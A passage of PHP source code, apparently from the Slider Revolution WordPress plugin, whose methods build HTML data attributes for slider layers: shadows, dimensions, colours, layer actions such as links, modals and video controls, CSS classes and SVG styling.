		$textDecoration = $this->get_val($layer, array('idle', 'textDecoration'));
		if($textDecoration !== 'none'){
			$data['td']	= $textDecoration;
		}
		
		if(!empty($data)){
			foreach($data as $k => $d){
				if(!empty($d)){
					if($d !== ''){
						$text .= $k.':'.$d.';';
					}
				}
			}
		}
		
		$text .= '"';
		
		return ($text !== 'data-text=""') ? $text : '';
	}

	/**
	 * get the data-float data HTML
	 **/
	public function get_float_clear_data(){
		$layer = $this->get_layer();
		$text = 'data-flcr="';
		$data = array();
		
		$de = array(
			'f' => array('none'),
			'c' => array('none')
		);
		
		if($this->adv_resp_sizes == true){
			$data['f'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'float')), $this->enabled_sizes, 'html-array', $de['f']);
			$data['c'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'clear')), $this->enabled_sizes, 'html-array', $de['c']);
		}else{			
			$data['f'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'float')), $this->enabled_sizes);
			$data['c'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'clear')), $this->enabled_sizes);
		}
		
		if(!empty($data)){
			foreach($data as $k => $d){
				if(!empty($d)){
					if($d !== ''){
						$text .= $k.':'.$d.';';
					}
				}
			}
		}
		
		$text .= '"';
		
		return ($text !== 'data-flcr=""') ? $text : '';
	}
	
	/**
	 * get the data-color="" HTML
	 **/
	public function get_html_color_data(){
		$layer	= $this->get_layer();
		$type	= $this->get_val($layer, 'type', 'text');
		$text	= 'data-color="';
		
		if(in_array($type, array('text', 'svg', 'button'), true)){
			if($this->adv_resp_sizes == true){
				$color = $this->normalize_device_settings($this->get_val($layer, array('idle', 'color'), '#ffffff'), $this->enabled_sizes, 'html-array', array('#ffffff'), array('' => '#ffffff'), '||');
			}else{
				$color = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'color'), '#ffffff'), $this->enabled_sizes);
				$color = (trim($color) === '') ? '#ffffff' : $color;
			}
			$text .= ($color !== '') ? $color : '';
		}
		
		$text .= '"';
		
		return ($text !== 'data-color=""') ? $text : '';
	}
	
	/**
	 * get the data-bsh="" HTML
	 **/
	public function get_html_box_shadow_data(){
		$layer = $this->get_layer();
		$text = 'data-bsh="';
		
		if($this->get_val($layer, array('idle', 'boxShadow', 'inuse'), false) === true){
			$color = str_replace(' ', '', $this->get_val($layer, array('idle', 'boxShadow', 'color'), 'rgba(0,0,0,0.25)'));
			
			if($this->get_val($layer, array('idle', 'boxShadow', 'container'), 'content') !== 'content') $text.= 'e:w'; //w for wrapper
			if(!in_array($color, array('rgba(0,0,0,0.25)'))) $text.= 'c:'.$color.';';
			
			$data = array();
			if($this->adv_resp_sizes == true){
				$data['h'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'boxShadow', 'hoffset')), $this->enabled_sizes, 'html-array', array(0));
				$data['v'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'boxShadow', 'voffset')), $this->enabled_sizes, 'html-array', array(0));
				$data['b'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'boxShadow', 'blur')), $this->enabled_sizes, 'html-array', array(0));
				$data['s'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'boxShadow', 'spread')), $this->enabled_sizes, 'html-array', array(0));
			}else{
				$data['h'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'boxShadow', 'hoffset')), $this->enabled_sizes, 0);
				$data['v'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'boxShadow', 'voffset')), $this->enabled_sizes, 0);
				$data['b'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'boxShadow', 'blur')), $this->enabled_sizes, 0);
				$data['s'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'boxShadow', 'spread')), $this->enabled_sizes, 0);
			}
			
			if(!empty($data)){
				foreach($data as $k => $v){
					$text .= (!in_array(trim($v), array(0, '0', '0px', ''), true)) ? $k.':'.$v.';' : '';
				}
			}
		}
		
		$text .= '"';
		
		return ($text !== 'data-bsh=""') ? $text : '';
	}
	
	/**
	 * get the data-tsh="" HTML
	 **/
	public function get_html_text_shadow_data(){
		$layer	= $this->get_layer();
		$text	= 'data-tsh="';
		
		if($this->get_val($layer, 'type', 'text') === 'text'){
			if($this->get_val($layer, array('idle', 'textShadow', 'inuse'), false) === true){
				$color	= str_replace(' ', '', $this->get_val($layer, array('idle', 'textShadow', 'color'), 'rgba(0,0,0,0.25)'));
				
				if($this->get_val($layer, array('idle', 'textShadow', 'container'), 'content') !== 'content') $text.= 'e:w'; //w for wrapper
				if(!in_array($color, array('rgba(0,0,0,0.25)'))) $text.= 'c:'.$color.';';
				
				$data = array();
				if($this->adv_resp_sizes == true){
					$data['h'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'textShadow', 'hoffset')), $this->enabled_sizes, 'html-array', array(0));
					$data['v'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'textShadow', 'voffset')), $this->enabled_sizes, 'html-array', array(0));
					$data['b'] = $this->normalize_device_settings($this->get_val($layer, array('idle', 'textShadow', 'blur')), $this->enabled_sizes, 'html-array', array(0));
				}else{
					$data['h'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'textShadow', 'hoffset')), $this->enabled_sizes, 0);
					$data['v'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'textShadow', 'voffset')), $this->enabled_sizes, 0);
					$data['b'] = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'textShadow', 'blur')), $this->enabled_sizes, 0);
				}
				
				if(!empty($data)){
					foreach($data as $k => $v){
						$text .= (!in_array(trim($v), array(0, '0', '0px', ''), true)) ? $k.':'.$v.';' : '';
					}
				}
			}
		}
		
		$text .= '"';
		
		return ($text !== 'data-tsh=""') ? $text : '';
	}
	
	/**
	 * get the data-dim="" HTML
	 **/
	public function get_html_dim_data(){
		$dim	= 'data-dim="';
		$layer	= $this->get_layer();
		$type	= $this->get_val($layer, 'type', 'text');
		$data	= array();
		
		if($type !== 'column'){
			if($this->adv_resp_sizes == true){
				$data['w']	= $this->normalize_device_settings($this->get_val($layer, array('size', 'width')), $this->enabled_sizes, 'html-array', array('auto'));
				$data['h']	= $this->normalize_device_settings($this->get_val($layer, array('size', 'height')), $this->enabled_sizes, 'html-array', array('auto'));
				
				$data['maxw'] = $this->normalize_device_settings($this->get_val($layer, array('size', 'maxWidth'), 'auto'), $this->enabled_sizes, 'html-array', array('none'), array('none' => 'n'));
				$data['maxh'] = $this->normalize_device_settings($this->get_val($layer, array('size', 'maxHeight'), 'auto'), $this->enabled_sizes, 'html-array', array('none'), array('none' => 'n'));
				$data['minw'] = $this->normalize_device_settings($this->get_val($layer, array('size', 'minWidth'), 'auto'), $this->enabled_sizes, 'html-array', array('none'), array('none' => 'n'));
				$data['minh'] = $this->normalize_device_settings($this->get_val($layer, array('size', 'minHeight'), 'auto'), $this->enabled_sizes, 'html-array', array('none'), array('none' => 'n'));
			}else{
				
				$data['w'] = $this->get_biggest_device_setting($this->get_val($layer, array('size', 'width')), $this->enabled_sizes);
				$data['h'] = $this->get_biggest_device_setting($this->get_val($layer, array('size', 'height')), $this->enabled_sizes);
				
				$data['maxw'] = $this->get_biggest_device_setting($this->get_val($layer, array('size', 'maxWidth'), 'auto'), $this->enabled_sizes);
				$data['maxh'] = $this->get_biggest_device_setting($this->get_val($layer, array('size', 'maxHeight'), 'auto'), $this->enabled_sizes);
				$data['minw'] = $this->get_biggest_device_setting($this->get_val($layer, array('size', 'minWidth'), 'auto'), $this->enabled_sizes);
				$data['minh'] = $this->get_biggest_device_setting($this->get_val($layer, array('size', 'minHeight'), 'auto'), $this->enabled_sizes);
			}
			
			if($type === 'video'){
				$data['w'] = ($this->is_full_width_video() == true) ? '100%' : $data['w'];
				$data['h'] = ($this->is_full_width_video() == true) ? '100%' : $data['h'];
			}
			if($type === 'image'){
				$scaleX		= $this->get_val($layer, array('size', 'width'));
				$scaleY		= $this->get_val($layer, array('size', 'height'));
				$cover_mode	= $this->get_val($layer, array('size', 'covermode'), array());
				$cover_mode	= (is_string($cover_mode)) ? array('d' => $cover_mode, 'n' => $cover_mode, 't' => $cover_mode, 'm' => $cover_mode) : (array)$cover_mode;
				
				if($this->adv_resp_sizes == true){
					foreach($cover_mode as $cvmk => $cvmv){
						if($cvmv !== 'custom' && $cvmv !== 'fullheight'){
							$this->set_val($scaleX, array($cvmk, 'v'), '100%');
						}
						if($cvmv !== 'custom' && $cvmv !== 'fullwidth'){
							$this->set_val($scaleY, array($cvmk, 'v'), '100%');
						}
					}
					
					$myScaleX = $this->normalize_device_settings($scaleX, $this->enabled_sizes, 'html-array', array('auto'), array('NaNpx' => '', 'auto' => ''));
					$myScaleY = $this->normalize_device_settings($scaleY, $this->enabled_sizes, 'html-array', array('auto'), array('NaNpx' => '', 'auto' => ''));
					
					if($myScaleX == "'','','',''") $myScaleX = '';
					if($myScaleY == "'','','',''") $myScaleY = '';
					
					$x_is_single = (strpos($myScaleX, ',') !== false) ? false : true;
					$y_is_single = (strpos($myScaleY, ',') !== false) ? false : true;
					
					if($x_is_single){ //force to array if voffset is also array
						if(!isset($myScaleX)) $myScaleX = $this->get_biggest_device_setting($scaleX, $this->enabled_sizes);
						$myScaleX = (trim($myScaleX) == '' || $myScaleX == 'NaNpx' || $myScaleX == 'auto') ? '' : "['".$myScaleX."','".$myScaleX."','".$myScaleX."','".$myScaleX."']";
					}
					if($y_is_single){ //force to array if voffset is also array
						if(!isset($myScaleY)) $myScaleY = $this->get_biggest_device_setting($scaleY, $this->enabled_sizes);
						$myScaleY = (trim($myScaleY) == '' || $myScaleY == 'NaNpx' || $myScaleY == 'auto') ? '' : "['".$myScaleY."','".$myScaleY."','".$myScaleY."','".$myScaleY."']";
					}
					
				}else{
					$myScaleX = $this->get_biggest_device_setting($scaleX, $this->enabled_sizes);
					if(trim($myScaleX) == '' || $myScaleX == 'NaNpx') $myScaleX = 'auto';
					
					$myScaleY = $this->get_biggest_device_setting($scaleY, $this->enabled_sizes);
					if(trim($myScaleY) == '' || $myScaleY == 'NaNpx') $myScaleY = 'auto';
					
					foreach($cover_mode as $cvmk => $cvmv){
						if($cvmv !== 'custom' && $cvmv !== 'fullheight'){
							$myScaleX = '100%';
						}
						if($cvmv !== 'custom' && $cvmv !== 'fullwidth'){
							$myScaleY = '100%';
						}
						break;
					}
				}
				
				if($myScaleX != '') $data['w'] = $myScaleX;
				if($myScaleY != '') $data['h'] = $myScaleY;
				
			}
			
			if(!empty($data)){
				foreach($data as $k => $v){
					$dim .= (!in_array(trim($v), array(-1, '-1', '', 'auto'), true)) ? $k.':'.$v.';' : '';
				}
			}
		}
		
		$dim .= '"';
		
		return ($dim !== 'data-dim=""') ? $dim : '';
	}
	
	/**
	 * return the column break HTML
	 **/
	public function get_html_column_break(){
		$layer = $this->get_layer();
		$break = '';
		
		if($this->get_val($layer, 'type', 'text') === 'row') {
			$break = $this->get_val($layer, array('group', 'columnbreakat'), 'tablet');
			if($break === 'desktop')	$break = '0';
			if($break === 'notebook')	$break = '1';
			if($break === 'tablet')		$break = ''; //as default, dont write it, so set it back to empty (was 2)
			if($break === 'mobile')		$break = '3';
		}
		
		return ($break != '') ? 'data-cbreak="'.$break.'"' : '';
	}
	
	/**
	 * retrieves the current layer attribute id by given target
	 **/
	public function get_layer_attribute_id($target){
		$layer_attribute_id = $this->slide->get_layer_id_by_uid($target, $this->static_slide);
		
		if($target == 'backgroundvideo' || $target == 'firstvideo'){
			$layer_attribute_id = $target;
		}elseif(trim($layer_attribute_id) == ''){
			if(strpos($target, 'static-') !== false){
				$ss = $this->get_static_slide();
				$layer_attribute_id = 'slider-'.preg_replace("/[^\w]+/", "", $this->slider->get_id()).'-slide-'.$ss->get_id().'-layer-'.str_replace('static-', '', $target);
				//$layer_attribute_id = 'slider-'.preg_replace("/[^\w]+/", "", $this->slider->get_id()).'-slide-'.$this->get_slide_id().'-layer-'.str_replace('static-', '', $target);
			}elseif($this->static_slide){
				$layer_attribute_id = 'slider-'.preg_replace("/[^\w]+/", "", $this->slider->get_id()).'-slide-'.preg_replace("/[^\w]+/", "", $this->get_slide_id()).'-layer-'.str_replace('static-', '', $target);
			}else{
				$layer_attribute_id = 'slide-'.preg_replace("/[^\w]+/", "", $this->get_slide_id()).'-layer-'.$target;
			}
		}
		
		return $layer_attribute_id;
	}
	
	/**
	 * create the layer action HTML
	 **/
	public function get_html_layer_action(&$html_simple_link){
		$layer		 = $this->get_layer();
		$html		 = "data-actions='";
		$events		 = array();
		$all_actions = $this->get_val($layer, 'actions', array());
		$actions	 = $this->get_val($all_actions, 'action', array());
		
		if(!empty($actions)){
			foreach($actions as $num => $action){
				$layer_attribute_id = '';
				$act = $this->get_val($action, 'action');
				
				switch($act){
					case 'start_in':
					case 'start_out':
					case 'start_video':
					case 'stop_video':
					case 'toggle_layer':
					case 'toggle_frames':
					case 'toggle_video':
					case 'simulate_click':
					case 'toggle_class':
					case 'toggle_mute_video':
					case 'mute_video':
					case 'unmute_video':
					case 'start_frame':
					case 'next_frame':
					case 'prev_frame':
						//get the ID of the layer with the uid that is $target
						$target = $this->get_val($action, 'layer_target', '');
						
						$layer_attribute_id = $this->get_layer_attribute_id($target);
					break;
				}
				
				/**
				 * translation list
				 * o = event, a = action, d = delay
				 **/
				switch($act){
					case 'none':
						continue 2;
					break;
					case 'menu':
						$menu_link = $this->get_val($action, 'menu_link', '');
						$menu_link = do_shortcode($menu_link);
						$http		= $this->get_val($action, 'link_help_in', 'keep');
						$events[] = array(
							'o'		 => $this->get_val($action, 'tooltip_event', ''),
							'a'		 => 'menulink',
							'target' => $this->remove_http($this->get_val($action, 'link_open_in', ''), $http),
							'url' 	 => $menu_link,
							'anchor' => $this->get_val($action, 'menu_anchor', ''),
							'offset' => $this->get_val($action, 'scrollunder_offset', ''),
							'sp'	 => $this->get_val($action, 'action_speed', '300'),
							'e'	 	 => $this->get_val($action, 'action_easing', 'none'),
							'd'		 => $this->get_val($action, 'action_delay', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
						$easing = $this->get_val($action, 'action_easing', 'none');
						$this->easings[$easing] = $easing;
					break;
					case 'link':
						//if post based, replace {{}} with correct info
						//image_link
						$image_link = $this->get_val($action, 'image_link', '');
						$image_link = do_shortcode($image_link);
						$http		= $this->get_val($action, 'link_help_in', 'keep');
						if($this->get_val($action, 'link_type', '') == 'jquery'){
							$events[] = array(
								'o'		 => $this->get_val($action, 'tooltip_event', ''),
								'a'		 => 'simplelink',
								'target' => $this->remove_http($this->get_val($action, 'link_open_in', ''), $http),
								'url' 	 => $image_link,
								'd'		 => $this->get_val($action, 'action_delay', ''),
								'rd'	 => $this->get_val($action, 'action_repeats', '')
							);
						}
					break;
					case 'jumpto':
						$events[] = array(
							'o'		=> $this->get_val($action, 'tooltip_event', ''),
							'a'		=> 'jumptoslide',
							'slide'	=> 'rs-'.$this->get_val($action, 'jump_to_slide', ''),
							'd'		=> $this->get_val($action, 'action_delay', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
					case 'next':
						$events[] = array(
							'o'		=> $this->get_val($action, 'tooltip_event', ''),
							'a'		=> 'jumptoslide',
							'slide'	=> 'next',
							'd'		=> $this->get_val($action, 'action_delay', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
					case 'gofullscreen':
						$events[] = array(
							'o'	=> $this->get_val($action, 'tooltip_event', ''),
							'a'	=> 'gofullscreen',
							'd'	=> $this->get_val($action, 'action_delay', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
					case 'toggle_global_mute_video':
						$events[] = array(
							'o'	=> $this->get_val($action, 'tooltip_event', ''),
							'a'	=> 'toggle_global_mute_video',
							'd'	=> $this->get_val($action, 'action_delay', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
					case 'exitfullscreen':
						$events[] = array(
							'o'	=> $this->get_val($action, 'tooltip_event', ''),
							'a'	=> 'exitfullscreen',
							'd'	=> $this->get_val($action, 'action_delay', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
					case 'togglefullscreen':
						$events[] = array(
							'o'	=> $this->get_val($action, 'tooltip_event', ''),
							'a'	=> 'togglefullscreen',
							'd'	=> $this->get_val($action, 'action_delay', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
					case 'prev':
						$events[] = array(
							'o'		=> $this->get_val($action, 'tooltip_event', ''),
							'a'		=> 'jumptoslide',
							'slide'	=> 'previous',
							'd'		=> $this->get_val($action, 'action_delay', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
					case 'pause':
						$events[] = array(
							'o'	=> $this->get_val($action, 'tooltip_event', ''),
							'a'	=> 'pauseslider',
							'd'	=> $this->get_val($action, 'action_delay', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
					case 'resume':
						$events[] = array(
							'o'	=> $this->get_val($action, 'tooltip_event', ''),
							'a'	=> 'playslider',
							'd'	=> $this->get_val($action, 'action_delay', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
					case 'toggle_slider':
						$events[] = array(
							'o'	=> $this->get_val($action, 'tooltip_event', ''),
							'a'	=> 'toggleslider',
							'd'	=> $this->get_val($action, 'action_delay', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
					case 'open_modal':
						$_modal = $this->get_val($action, 'openmodal', '');
						$_event = array(
							'o'	=> $this->get_val($action, 'tooltip_event', ''),
							'a'	=> 'openmodal',
							'modal' => $_modal,
							'ms' => $this->get_val($action, 'modalslide', ''),
							'd'	=> $this->get_val($action, 'action_delay', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
						if(!empty($_modal)){
							if(!isset($this->modal_sliders[$_modal])){
								global $rs_do_init_action;
								$rs_do_init_action = false;
								$this->modal_sliders[$_modal] = new RevSliderSlider();
								$this->modal_sliders[$_modal]->init_by_mixed($_modal, false);
								$_event['sp'] = $this->modal_sliders[$_modal]->get_param(array('modal', 'coverSpeed'), 1);
								$rs_do_init_action = true;
							}
							if($this->modal_sliders[$_modal]->get_param(array('modal', 'allowPageScroll'), false) === true){
								$_event['allowPageScroll'] = true;
							}
							if($this->modal_sliders[$_modal]->get_param(array('modal', 'cover'), true) === true){
								$_event['bg'] = $this->modal_sliders[$_modal]->get_param(array('modal', 'coverColor'), 'rgba(0,0,0,0.5)');
							}
							if($this->modal_sliders[$_modal]->get_param(array('layout', 'spinner', 'type'), 'off') !== 'off'){
								$_event['spin'] = $this->modal_sliders[$_modal]->get_param(array('layout', 'spinner', 'type'), '0');
								$_event['spinc'] = $this->modal_sliders[$_modal]->get_param(array('layout', 'spinner', 'color'), '#FFFFFF');
							}
						}
						
						$events[] = $_event;
						
						$this->frontend_action = true;
					break;
					case 'close_modal':
						$events[] = array(
							'o'	=> $this->get_val($action, 'tooltip_event', ''),
							'a'	=> 'closemodal',
							'd'	=> $this->get_val($action, 'action_delay', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
					case 'callback':
						$events[] = array(
							'o'		=> $this->get_val($action, 'tooltip_event', ''),
							'a'		=> 'callback',
							'call'	=> $this->replace_html_ids($this->get_val($action, 'actioncallback', '')),
							'd'		=> $this->get_val($action, 'action_delay', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
					case 'scroll_under': //ok
						$events[] = array(
							'o'		 => $this->get_val($action, 'tooltip_event', ''),
							'a'		 => 'scrollbelow',
							'offset' => $this->get_val($action, 'scrollunder_offset', ''),
							'd'		 => $this->get_val($action, 'action_delay', ''),
							'sp'	 => $this->get_val($action, 'action_speed', '300'),
							'e'	 	 => $this->get_val($action, 'action_easing', 'none'),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
						$easing = $this->get_val($action, 'action_easing', 'none');
						$this->easings[$easing] = $easing;
					break;
					case 'scrollto': //ok
						$events[] = array(
							'id'	 => $this->replace_html_ids($this->get_val($action, 'scrollto_id', ''), ''),
							'o'		 => $this->get_val($action, 'tooltip_event', ''),
							'a'		 => 'scrollto',
							'offset' => $this->get_val($action, 'scrollunder_offset', ''),
							'd'		 => $this->get_val($action, 'action_delay', ''),
							'sp'	 => $this->get_val($action, 'action_speed', '300'),
							'e'	 	 => $this->get_val($action, 'action_easing', 'none'),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
						$easing = $this->get_val($action, 'action_easing', 'none');
						$this->easings[$easing] = $easing;
					break;
					case 'start_in':
						$events[] = array(
							'o'		=> $this->get_val($action, 'tooltip_event', ''),
							'a'		=> 'startlayer',
							'layer'	=> $layer_attribute_id,
							'd'		=> $this->get_val($action, 'action_delay', ''),
							'ch'	=> $this->get_val($action, 'updateChildren', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;					
					case 'getAccelerationPermission':
						$events[] = array(
							'o'		=> $this->get_val($action, 'tooltip_event', ''),
							'a'		=> 'getAccelerationPermission',
							'layer'	=> $layer_attribute_id,
							'd'		=> $this->get_val($action, 'action_delay', ''),							
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
					case 'next_frame':
						$events[] = array(
							'o'		=> $this->get_val($action, 'tooltip_event', ''),
							'a'		=> 'nextframe',
							'layer'	=> $layer_attribute_id,
							'd'		=> $this->get_val($action, 'action_delay', ''),
							'ch'	=> $this->get_val($action, 'updateChildren', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
					case 'prev_frame':
						$events[] = array(
							'o'		=> $this->get_val($action, 'tooltip_event', ''),
							'a'		=> 'prevframe',
							'layer'	=> $layer_attribute_id,
							'd'		=> $this->get_val($action, 'action_delay', ''),
							'ch'	=> $this->get_val($action, 'updateChildren', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
					case 'start_frame':
						$events[] = array(
							'o'		=> $this->get_val($action, 'tooltip_event', ''),
							'a'		=> 'gotoframe',
							'layer'	=> $layer_attribute_id,
							'f'		=> $this->get_val($action, 'gotoframe', ''),
							'd'		=> $this->get_val($action, 'action_delay', ''),
							'ch'	=> $this->get_val($action, 'updateChildren', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
					case 'start_out':
						$events[] = array(
							'o'		=> $this->get_val($action, 'tooltip_event', ''),
							'a'		=> 'stoplayer',
							'layer'	=> $layer_attribute_id,
							'd'		=> $this->get_val($action, 'action_delay', ''),
							'ch'	=> $this->get_val($action, 'updateChildren', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
					case 'toggle_layer':
						$events[] = array(
							'o'		=> $this->get_val($action, 'tooltip_event', ''),
							'a'		=> 'togglelayer',
							'ls'	=> $this->get_val($action, 'toggle_layer_type', ''),
							'layer'	=> $layer_attribute_id,
							'd'		=> $this->get_val($action, 'action_delay', ''),
							'ch'	=> $this->get_val($action, 'updateChildren', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
					case 'toggle_frames':
						$events[] = array(
							'o'		=> $this->get_val($action, 'tooltip_event', ''),
							'a'		=> 'toggleframes',
							'ls'	=> $this->get_val($action, 'toggle_layer_type', ''),
							'm'	=> $this->get_val($action, 'gotoframeM', ''),
							'n'	=> $this->get_val($action, 'gotoframeN', ''),
							'layer'	=> $layer_attribute_id,
							'd'		=> $this->get_val($action, 'action_delay', ''),
							'ch'	=> $this->get_val($action, 'updateChildren', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
					case 'start_video':
						$events[] = array(
							'o'		=> $this->get_val($action, 'tooltip_event', ''),
							'a'		=> 'playvideo',
							'layer'	=> $layer_attribute_id,
							'd'		=> $this->get_val($action, 'action_delay', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
					case 'stop_video':
						$events[] = array(
							'o'		=> $this->get_val($action, 'tooltip_event', ''),
							'a'		=> 'stopvideo',
							'layer'	=> $layer_attribute_id,
							'd'		=> $this->get_val($action, 'action_delay', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
					case 'mute_video':
						$events[] = array(
							'o'		=> $this->get_val($action, 'tooltip_event', ''),
							'a'		=> 'mutevideo',
							'layer'	=> $layer_attribute_id,
							'd'		=> $this->get_val($action, 'action_delay', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
					case 'unmute_video':
						$events[] = array(
							'o'		=> $this->get_val($action, 'tooltip_event', ''),
							'a'		=> 'unmutevideo',
							'layer'	=> $layer_attribute_id,
							'd'		=> $this->get_val($action, 'action_delay', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
					case 'toggle_video':
						$events[] = array(
							'o'		=> $this->get_val($action, 'tooltip_event', ''),
							'a'		=> 'togglevideo',
							'layer'	=> $layer_attribute_id,
							'd'		=> $this->get_val($action, 'action_delay', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
					case 'toggle_mute_video':
						$events[] = array(
							'o'		=> $this->get_val($action, 'tooltip_event', ''),
							'a'		=> 'toggle_mute_video',
							'layer'	=> $layer_attribute_id,
							'd'		=> $this->get_val($action, 'action_delay', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
					case 'simulate_click':
						$events[] = array(
							'o'		=> $this->get_val($action, 'tooltip_event', ''),
							'a'		=> 'simulateclick',
							'layer'	=> $layer_attribute_id,
							'd'		=> $this->get_val($action, 'action_delay', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
					case 'toggle_class':
						$events[] = array(
							'o'		=> $this->get_val($action, 'tooltip_event', ''),
							'a'		=> 'toggleclass',
							'layer'	=> $layer_attribute_id,
							'd'		=> $this->get_val($action, 'action_delay', ''),
							'class'	=> $this->get_val($action, 'toggle_class', ''),
							'rd'	 => $this->get_val($action, 'action_repeats', '')
						);
					break;
				}
				
				// Filter the Actions
				$events = apply_filters('rs_action_output_layer_action', $events, $action, $all_actions, $num, $this->slide, $this);
				if(!isset($html_simple_link)){
					$html_simple_link = '';
				}
				$html_simple_link = apply_filters('rs_action_output_layer_simple_link', $html_simple_link, $action, $all_actions, $num, $this->slide, $this->slider, $events, $this);
			}
			
			if(!empty($events)){
				$first = true;
				foreach($events as $event){
					if(!empty($event)){
						$html .= ($first === false) ? '||' : '';
						foreach($event as $k => $v){
							if(!in_array($v, array(''), true)){
								if(is_bool($v)) $v = ($v === true) ? 'true' : 'false';
								$html .= $k.':'.$v.';';
							}
						}
						
						$first = false;
					}
				}
			}
		}
		
		$html .= "'";
		
		return ($html !== "data-actions=''") ? $html : '';
	}
	
	/**
	 * get the html class for a layer
	 **/
	public function get_html_class($class, $layer_tag){
		$html = 'class="';
		$c = array();
		if(!in_array($layer_tag, array('rs-row', 'rs-column', 'rs-layer', 'rs-group', 'rs-bgvideo'), true)){
			$c[] = 'rs-layer';
		}
		if(trim($class) !== ''){
			$c[] = trim($class);
		}
		
		if($this->get_html_tab_index() !== ''){
			$c[] = 'rs-wtbindex';
		}
		
		if($this->slider->get_param(array('parallax', 'set'), false) === true){
			$layer = $this->get_layer();
			if($this->get_val($layer, array('effects', 'parallax'), '-') !== '-'){
				if($this->get_val($layer, array('effects', 'pxmask'), false) === true){
					$c[] = 'rs-pxmask';
				}
			}
		}
		
		$c = apply_filters('revslider_add_layer_classes', $c, $this->layer, $this->slide, $this->slider);
				
		if(!empty($c)){
			$html .= implode(' ', $c);
		}

		$html .= '"';
		
		return ($html !== 'class=""') ? $html : '';
	}
	
	/**
	 * get the html svg attributes from the layer
	 **/
	public function get_html_svg(){
		$layer = $this->get_layer();
		$svg_html = '';
		$svg = array();
		$svg_source = $this->get_val($layer, array('svg', 'source'));
		if(!empty($svg_source)){
			$svg['svg_src'] = $this->remove_http($svg_source);
			
			$push = array('svgi' => 'idle');
			if($this->get_val($layer, array('hover', 'usehover'), false) === true || $this->get_val($layer, array('hover', 'usehover'), false) === 'true' || $this->get_val($layer, array('hover', 'usehover'), false) === 'desktop'){
				$push['svgh'] = 'hover';
			}
			
			foreach($push as $tag => $path){
				$svg[$tag] = array();
				$oc = $this->get_val($layer, array($path, 'svg', 'originalColor'), 0);				
				$c = $this->get_val($layer, array($path, 'svg', 'color'), '#ffffff');
				$sc = $this->get_val($layer, array($path, 'svg', 'strokeColor'), 'transparent');
				$sw = $this->get_val($layer, array($path, 'svg', 'strokeWidth'), 0);
				$sa = $this->get_val($layer, array($path, 'svg', 'strokeDashArray'), '');
				$so = $this->get_val($layer, array($path, 'svg', 'strokeDashOffset'), '');
				$sall = $this->get_val($layer, array($path, 'svg', 'styleAll'), false);
					
				/*
					SVG Idle Color can have responsive values, but SVG Hover Color is not responsive
					The ($path === 'idle') if-block below fixes an issue where the hover color 
					.. would not print if the Slider didn't have any responsive breakpoints enabled
				*/
				if($path === 'idle') {
					if($this->adv_resp_sizes == true){
						$c = $this->normalize_device_settings($c, $this->enabled_sizes, 'html-array', array('#ffffff'), array(), '||');
					}else{
						$c = $this->get_biggest_device_setting($c, $this->enabled_sizes);
					}
				}
				
				if ($oc===true) {
					$svg[$tag]['oc'] = 't';
				} else {	
					if(!in_array(strtolower($c), array('#fff', '#ffffff')) && $c !== '') $svg[$tag]['c'] = $c;
					if($sc !== 'transparent') $svg[$tag]['sc'] = $sc;
					if(!in_array($sw, array(0, '0', '0px'), true)) $svg[$tag]['sw'] = $sw;
					if($sa !== '') $svg[$tag]['sa'] = $sa;
					if($so !== '') $svg[$tag]['so'] = $so;
					if($sall !== '' && $sall !== false) $svg[$tag]['sall'] = $sall;
				}
				
				
